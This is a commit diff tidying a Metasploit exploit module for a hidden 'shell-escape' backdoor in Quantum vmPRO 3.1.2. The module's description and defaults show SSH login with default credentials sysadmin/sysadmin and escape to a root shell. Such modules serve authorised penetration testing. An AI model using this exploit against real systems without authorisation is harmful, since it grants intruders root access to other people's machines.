Do minor clean up

modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb

@@ -15,18 +15,18 @@ class Metasploit3 < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Quantum vmPRO Backdoor Command",
       'Description'    => %q{
-        This module exploits a backdoor command flaw in vmPRO 3.1.2.
+        This module abuses a backdoor command in vmPRO 3.1.2. Any user, even without admin
-        Any user without admin privileges can get access to the restricted SSH shell.
+        privileges, can get access to the restricted SSH shell. By using the hidden backdoor
-        By using the hidden backdoor "shell-escape" command it's possible to drop to
+        "shell-escape" command it's possible to drop to a real root bash shell.
-        a real root bash shell.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
-          'xistence <xistence[at]0x90.nl>',  # Original discovery and Metasploit module
+          'xistence <xistence[at]0x90.nl>'  # Original discovery and Metasploit module
         ],
       'References'     =>
         [
+          ['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt']
         ],
       'DefaultOptions'  =>
         {
@@ -51,7 +51,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
     register_options(
       [
-        Opt::RHOST(),
         Opt::RPORT(22),
         OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
         OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
@@ -98,18 +97,19 @@ class Metasploit3 < Msf::Exploit::Remote
         ssh = Net::SSH.start(rhost, user, opts)
       end
     rescue Rex::ConnectionError, Rex::AddressInUse
-      return
+      return nil
     rescue Net::SSH::Disconnect, ::EOFError
       print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
-      return
+      return nil
     rescue ::Timeout::Error
       print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
-      return
+      return nil
     rescue Net::SSH::AuthenticationFailed
       print_error "#{rhost}:#{rport} SSH - Failed authentication"
+      return nil
     rescue Net::SSH::Exception => e
       print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
-      return
+      return nil
     end
 
     if ssh